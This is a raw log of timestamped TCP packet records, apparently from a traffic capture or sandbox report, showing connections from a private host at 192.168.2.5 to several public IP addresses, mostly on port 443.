Oct 31, 2024 01:18:37.849538088 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.849922895 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.849929094 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.850424051 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.850428104 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.850809097 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.850812912 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.867815018 CET	49813	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.867831945 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.868549109 CET	49813	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.868554115 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.974188089 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.974231958 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.974874973 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.974944115 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.974973917 CET	49814	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.974991083 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.975507021 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.976160049 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.977906942 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.001374006 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.002204895 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.002295971 CET	49813	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.145248890 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.145574093 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.145659924 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.150527954 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:38.215223074 CET	49814	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.215245008 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.215256929 CET	49814	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.215262890 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.217015028 CET	49813	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.217015028 CET	49813	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.217039108 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.217051029 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.218692064 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.218693018 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.218699932 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.218708992 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.220133066 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.220139980 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.220149994 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.220153093 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.220948935 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.220973015 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.220987082 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:38.220993042 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:38.295233965 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:38.295243025 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:38.296284914 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:38.296295881 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:38.296345949 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:38.340198040 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:38.340256929 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:38.340806961 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:38.340812922 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:38.464756012 CET	80	49783	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:38.465472937 CET	49783	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:38.497541904 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:38.578249931 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:38.690016985 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:38.690917015 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:39.247481108 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:39.247509956 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:39.479870081 CET	49826	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:39.479901075 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:39.479959965 CET	49826	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:39.480235100 CET	49826	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:39.480247974 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:39.771575928 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:39.771598101 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:39.771665096 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:39.772083998 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:39.772099972 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:39.774178982 CET	49828	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.774194002 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.774255037 CET	49828	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.776196003 CET	49829	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.776242018 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.776314020 CET	49829	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.792834997 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.792844057 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.792908907 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.793173075 CET	49828	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.793181896 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.797868967 CET	49829	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.797888041 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.804120064 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.804131031 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.809501886 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.809535027 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.809597969 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.809710979 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.809720039 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.838877916 CET	49832	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.838896036 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:39.839101076 CET	49832	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.845062017 CET	49832	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:39.845074892 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.300154924 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:40.300180912 CET	443	49841	18.244.18.32	192.168.2.5
Oct 31, 2024 01:18:40.300297976 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:40.301512957 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:40.301526070 CET	443	49841	18.244.18.32	192.168.2.5
Oct 31, 2024 01:18:40.451992035 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:40.452028036 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:40.452176094 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:40.453468084 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:40.453483105 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:40.521648884 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.522659063 CET	49828	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.522675037 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.523206949 CET	49828	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.523211956 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.535813093 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.537740946 CET	49829	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.537779093 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.538368940 CET	49829	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.538374901 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.545196056 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.545603037 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.545612097 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.546045065 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.546049118 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.550551891 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.553061008 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.553076982 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.553591013 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.553596020 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.569019079 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.569344997 CET	49826	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:40.569353104 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.569674969 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.570383072 CET	49826	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:40.570447922 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.570725918 CET	49826	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:40.581418991 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.582042933 CET	49832	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.582073927 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.582465887 CET	49832	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.582470894 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.611335993 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.642750978 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.645555973 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.645571947 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.646090031 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.646114111 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.646178007 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.646184921 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.646300077 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.647099018 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.649065971 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.649142027 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.649434090 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.649444103 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.650904894 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.650952101 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.651068926 CET	49828	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.656827927 CET	49828	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.656840086 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.656851053 CET	49828	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.656856060 CET	443	49828	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.663836002 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.663861036 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.663932085 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.664211988 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.664222956 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.667629957 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.667670965 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.667758942 CET	49829	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.667953014 CET	49829	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.667953014 CET	49829	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.667979956 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.667990923 CET	443	49829	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.669940948 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.669977903 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.670142889 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.670257092 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.670273066 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.678174973 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.678185940 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.678246975 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.678253889 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.678405046 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.678414106 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.678419113 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.678519964 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.678535938 CET	443	49830	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.678586006 CET	49830	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.680385113 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.680408955 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.680517912 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.680634975 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.680640936 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.682197094 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.682539940 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.682612896 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.682636976 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.682646036 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.682670116 CET	49831	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.682678938 CET	443	49831	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.684870005 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.684897900 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.684959888 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.685180902 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.685193062 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.690798998 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.713175058 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.713397026 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.713460922 CET	49832	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.714713097 CET	49832	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.714724064 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.714734077 CET	49832	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.714739084 CET	443	49832	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.731785059 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.731801033 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.731936932 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.732450008 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:40.732464075 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:40.817941904 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.821314096 CET	49826	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:40.821329117 CET	443	49826	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.821396112 CET	49826	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:40.823400974 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:40.823430061 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.823760986 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:40.823988914 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:40.823998928 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:40.895350933 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.895396948 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.895468950 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.895481110 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.899416924 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.899499893 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.899507046 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.909781933 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.909835100 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.909842014 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.916801929 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.916866064 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.916872025 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.925704002 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.925787926 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.925793886 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.934437037 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.934489012 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.934494019 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:40.987818003 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:40.987823963 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.014554024 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.014585018 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.014828920 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.014861107 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.014863968 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.014863968 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.014874935 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.014921904 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.019017935 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.027961016 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.027992010 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.028055906 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.028063059 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.028106928 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.036439896 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.045135021 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.045169115 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.045183897 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.045188904 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.045247078 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.054020882 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.062669992 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.062705040 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.062710047 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.062716961 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.062928915 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.071409941 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.080351114 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.080384970 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.080396891 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.080403090 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.080447912 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.088264942 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.095767975 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.095793009 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.095823050 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.095829964 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.096148968 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.103243113 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.110922098 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.111047983 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.111053944 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.133752108 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.133778095 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.133800983 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.133827925 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.133836031 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.133862019 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.134212017 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.134258032 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.134263992 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.134417057 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.134462118 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.134466887 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.138642073 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.139728069 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.139733076 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.143724918 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.143956900 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.143961906 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.148485899 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.151735067 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.151741982 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.153284073 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.153493881 CET	443	49841	18.244.18.32	192.168.2.5
Oct 31, 2024 01:18:41.153557062 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.153562069 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.158044100 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.158102036 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.158108950 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.162791967 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.162839890 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.162846088 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.167504072 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.167578936 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.167587042 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.172355890 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.172422886 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.172430038 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.177194118 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.177254915 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.177261114 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.181766987 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.181911945 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.181919098 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.182704926 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:41.182719946 CET	443	49841	18.244.18.32	192.168.2.5
Oct 31, 2024 01:18:41.186633110 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.187016010 CET	443	49841	18.244.18.32	192.168.2.5
Oct 31, 2024 01:18:41.187309980 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.187319994 CET	443	49827	142.250.186.65	192.168.2.5
